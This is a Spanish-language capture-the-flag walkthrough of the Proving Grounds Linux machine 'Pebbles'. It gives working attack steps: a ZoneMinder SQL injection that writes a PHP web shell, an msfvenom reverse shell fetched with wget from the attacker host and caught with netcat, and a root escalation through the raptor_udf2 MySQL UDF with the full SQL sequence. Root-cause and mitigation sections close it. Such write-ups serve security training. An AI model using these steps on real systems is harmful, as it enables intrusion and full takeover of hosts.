Saltar al contenido
Writeup Proving Grounds Difícil

Pebbles — Proving Grounds

Walkthrough de una máquina Linux de Proving Grounds que cubre una SQL injection en ZoneMinder, la escritura de archivos desde MySQL en el web root de Apache, una reverse shell como www-data y la escalada de privilegios con una UDF de MySQL.

Plataforma
Proving Grounds
Dificultad
Difícil
Fecha
  • Linux
  • Proving Grounds
  • ZoneMinder
  • SQL Injection
  • PHP
  • MySQL
  • UDF
  • Privilege Escalation

Descripción general

Pebbles es una máquina Linux de Proving Grounds. La ruta de ataque combina una instancia expuesta de ZoneMinder, una SQL injection, escritura de archivos mediante MySQL en el web root de Apache, ejecución de comandos a través de PHP, una reverse shell como www-data y escalada de privilegios mediante una UDF de MySQL.

Este walkthrough independiente documenta un ejercicio autorizado con fines educativos y no está afiliado ni respaldado por OffSec.

Resumen del ataque

Nmap identificó varios servicios web, entre ellos ZoneMinder 1.29.0 en un listener de Apache no estándar. Una SQL injection permitió escribir código PHP en el web root y obtener una reverse shell como www-data. La enumeración local mostró que MySQL se ejecutaba como root; una UDF maliciosa permitió escalar privilegios hasta root.

Enumeración

El escaneo TCP completo contra 192.168.221.52 identificó cinco puertos abiertos:

sudo nmap -sS -T4 -p- 192.168.221.52
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
3305/tcp open  odette-ftp
8080/tcp open  http-proxy

Un segundo escaneo incorporó scripts predeterminados, detección de versiones y análisis del sistema operativo:

sudo nmap -sS -sC -sV -O -T4 -p 21,22,80,3305,8080 192.168.221.52 -oN nmap-tcp.txt
21/tcp   open  ftp   vsftpd 3.0.3
22/tcp   open  ssh   OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
80/tcp   open  http  Apache httpd 2.4.18 ((Ubuntu))
3305/tcp open  http  Apache httpd 2.4.18 ((Ubuntu))
8080/tcp open  http  Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Tomcat
|_http-favicon: Apache Tomcat

La etiqueta inicial odette-ftp provenía de la asociación predeterminada de Nmap para ese puerto. La detección de servicios sustituyó esa suposición y confirmó que el puerto 3305 servía HTTP con Apache. El análisis del sistema operativo advirtió que sus resultados podían ser poco confiables, por lo que no se estableció un fingerprint exacto.

Salida de Nmap con FTP, SSH, tres puertos web y la detección de Apache en el puerto 3305.
Nmap identificó cinco servicios TCP; la detección de versiones mostró que el puerto 3305 servía HTTP con Apache y no Odette FTP.

También ejecuté un escaneo UDP breve:

sudo nmap -sU --top-ports 20 192.168.221.52 -oN nmap-udp-top.txt --open

Los resultados fueron únicamente open|filtered y no permitieron confirmar una ruta de ataque por UDP.

Análisis de los servicios web

El puerto 80 ejecutaba Apache 2.4.18 y mostraba una página de login de Pebbles, además de ZoneMinder bajo /zm.

El puerto 3305 también utilizaba Apache 2.4.18. La raíz presentaba la página predeterminada de Apache en Ubuntu, mientras que /zm exponía ZoneMinder.

El puerto 8080 correspondía a Apache Tomcat. La enumeración encontró hello.php, y RELEASE-NOTES.txt reveló la versión 9.0.30. Tomcat no ofreció una vía de explotación útil y quedó como un camino sin salida.

Descubrimiento de ZoneMinder

La enumeración de directorios identificó la ruta /zm, que exponía ZoneMinder Console v1.29.0. La aplicación estaba disponible a través de ambos servicios Apache.

Consola de administración de ZoneMinder con la versión 1.29.0 visible.
La ruta /zm exponía ZoneMinder Console v1.29.0.

Análisis de vulnerabilidades conocidas

Primero probé un PoC público de RCE mediante snapshots contra ZoneMinder, pero no obtuve ejecución de comandos. Como no se conservó un error de diagnóstico, no fue posible determinar la causa exacta. Que ese PoC fallara no descartaba otras vulnerabilidades asociadas a ZoneMinder 1.29.0, por lo que continué investigando hasta identificar una SQL injection.

Explotación de la SQL injection

Una request manipulada de ZoneMinder explotó una SQL injection que permitía escribir archivos desde MySQL. La sentencia inyectada utilizó la siguiente cláusula para crear contenido PHP dentro del web root de Apache:

INTO OUTFILE '/var/www/html/rce.php'

El archivo PHP aceptaba el parámetro de consulta cmd y ejecutaba como comando el valor recibido.

Request HTTP sanitizada que muestra la SQL injection de ZoneMinder y el uso de INTO OUTFILE para escribir rce.php.
La SQL injection de ZoneMinder utilizó INTO OUTFILE para escribir una web shell PHP en el web root de Apache.

El archivo resultante no estaba disponible en el puerto 80, pero sí en el 3305. Solicité /rce.php?cmd=whoami a través del puerto 3305:

whoami
www-data

La web shell respondió como www-data, confirmando ejecución de comandos en el servidor.

Request a rce.php en el puerto 3305 cuya respuesta muestra el usuario www-data.
La web shell PHP estaba disponible a través del puerto 3305 y ejecutaba comandos como www-data.

Obtención de una shell inicial

Para obtener una shell interactiva, generé un payload Bash:

msfvenom -p cmd/unix/reverse_bash LHOST=192.168.45.177 LPORT=80 -f raw > shell.sh

Lo serví desde la máquina atacante:

python3 -m http.server 80

Desde la web shell, lo descargué en /tmp. Le asigné permisos de ejecución; al enviar los comandos en el parámetro cmd, apliqué codificación URL donde era necesario:

wget -P /tmp/ http://192.168.45.177/shell.sh
chmod +x /tmp/shell.sh

Con el listener activo, ejecuté el archivo:

rlwrap nc -nvlp 80
/tmp/shell.sh

El listener recibió una shell como www-data, la cuenta del servicio web:

whoami
www-data
Listener de Netcat que recibe una shell desde Pebbles y muestra que se ejecuta como www-data.
La ejecución del payload Bash devolvió una shell interactiva como www-data.

Enumeración local

Después de obtener la shell como www-data, ejecuté LinPEAS para buscar vectores locales de escalada de privilegios. La salida identificó Ubuntu 16.04.6 LTS con el kernel 4.8.0-1-pve. LinPEAS mostró que mysqld se ejecutaba como root y que el sistema utilizaba MySQL 5.7.30 para Linux x86_64. También identificó archivos de configuración legibles de ZoneMinder y MySQL.

LinPEAS mostrando que MySQL 5.7.30 se ejecuta como root.
LinPEAS identificó MySQL 5.7.30 ejecutándose como el usuario root del sistema operativo.

Análisis de MySQL

LinPEAS mostró que mysqld se ejecutaba como root. Como las UDF se cargan dentro del proceso de MySQL, una función capaz de ejecutar comandos del sistema heredaría esos mismos privilegios. Además, los archivos escritos por MySQL serían propiedad de root. ps aux confirmó que el proceso se ejecutaba como root y mysql --version identificó la versión para Linux x86_64:

root  ...  /usr/sbin/mysqld ...
mysql  Ver 14.14 Distrib 5.7.30, for Linux (x86_64)

La configuración legible de ZoneMinder exponía las credenciales utilizadas por la aplicación; su valor se omite. La escalada no requirió abrir una sesión independiente en MySQL: las sentencias SQL necesarias para instalar e invocar la UDF se enviaron mediante la SQL injection existente y se ejecutaron usando la conexión de base de datos de la aplicación.

Para la escalada utilicé raptor_udf2, correspondiente a Exploit-DB 1518. Su función do_system llama a system() para ejecutar comandos del sistema operativo. La librería compartida debía ser compatible con el proceso mysqld x86_64 del objetivo; MySQL habría rechazado un plugin de 32 bits.

La librería compartida tenía que escribirse en el directorio de plugins de MySQL. secure_file_priv controla qué operaciones de lectura y escritura de archivos puede realizar el servidor; la posterior shell de root confirmó que la instalación de la UDF funcionó.

La evidencia conservada muestra únicamente el paso final que generó raptor_udf2.so; el comando previo utilizado para compilar el archivo objeto no quedó registrado:

gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o

La librería compartida compilada se transfirió a /tmp en Pebbles mediante wget.

El listado ls -la del web root mostró que el archivo creado por la SQL injection pertenecía a root. Esto corroboró que las escrituras de MySQL se realizaban con esa identidad y que el mismo mecanismo podía escribir la librería compartida en el directorio de plugins. El paso siguiente consistía en instalar la UDF y activar la escalada.

Escalada de privilegios

Para instalar la UDF, reutilicé la misma SQL injection con la que había escrito rce.php. Al añadir sentencias después del punto de inyección task=query&limit=100;, ZoneMinder las ejecutaba a través de su conexión a la base de datos. Las envié por ese canal desde Burp Repeater:

CREATE TABLE foo(line BLOB);
INSERT INTO foo VALUES(LOAD_FILE('/tmp/raptor_udf2.so'));
SELECT * FROM foo INTO DUMPFILE '/usr/lib/mysql/plugin/raptor_udf2.so';
CREATE FUNCTION do_system RETURNS INTEGER SONAME 'raptor_udf2.so';
  • foo almacena la librería compartida como un BLOB.
  • LOAD_FILE carga el archivo .so desde /tmp.
  • INTO DUMPFILE lo escribe en el directorio de plugins de MySQL.
  • CREATE FUNCTION registra do_system como una UDF.

Con do_system registrada, ejecuté el payload Bash desde el proceso de MySQL:

SELECT do_system('/bin/bash /tmp/bash.sh');

El listener de Netcat ya estaba a la espera en la máquina atacante:

rlwrap nc -nvlp 80

El listener recibió una shell como root, y desde ella leí /root/proof.txt:

listening on [any] 80 ...
connect to [192.168.45.177] from (UNKNOWN) [192.168.221.52] 33574
whoami
root
cat /root/proof.txt
b821ed93d34265434906b9d28d7e8f18

En Pebbles solo existía /root/proof.txt.

Listener de Netcat que recibe la shell final como root y muestra el proof de Pebbles.
La ejecución de la UDF devolvió una shell de root y permitió leer /root/proof.txt.

Causa raíz

Acceso inicial

  • ZoneMinder 1.29.0 estaba expuesto mediante un servicio web accesible.
  • La aplicación era vulnerable a SQL injection.
  • Los permisos de escritura de MySQL permitían que la SQL injection creara contenido PHP dentro del web root de Apache.
  • Apache y PHP ejecutaron el archivo escrito, entregando ejecución de comandos como www-data.

Escalada de privilegios

  • MySQL se ejecutaba como el usuario root del sistema operativo.
  • El acceso a la base de datos y los permisos sobre el directorio de plugins permitían cargar una librería compartida utilizada como UDF.
  • La UDF ejecutaba comandos del sistema operativo con los privilegios del proceso MySQL, lo que permitió obtener acceso como root.

Mitigaciones

  • Actualizar ZoneMinder y corregir la vulnerabilidad de SQL injection.
  • Restringir ZoneMinder y las interfaces administrativas web a redes confiables y usuarios autorizados.
  • Impedir que las cuentas de base de datos escriban archivos ejecutables dentro de directorios accesibles desde la web.
  • Ejecutar MySQL con una cuenta de servicio dedicada y sin privilegios elevados, y restringir estrictamente la creación de UDF y los permisos del directorio de plugins.

Aprendizajes

  • La detección de versiones y servicios debe prevalecer sobre las etiquetas predeterminadas asociadas a cada puerto.
  • Una misma aplicación expuesta a través de listeners distintos puede comportarse de forma diferente y dar acceso a archivos o funciones distintas.
  • Que un exploit público falle no significa que la aplicación sea segura; conviene seguir investigando otras vulnerabilidades asociadas a la versión identificada.
  • Una SQL injection puede convertirse en ejecución de comandos del sistema operativo cuando la base de datos puede escribir archivos ejecutables en un web root.
  • Funcionalidades extensibles como las UDF pueden convertirse en vectores de escalada cuando el servicio de base de datos se ejecuta con privilegios excesivos.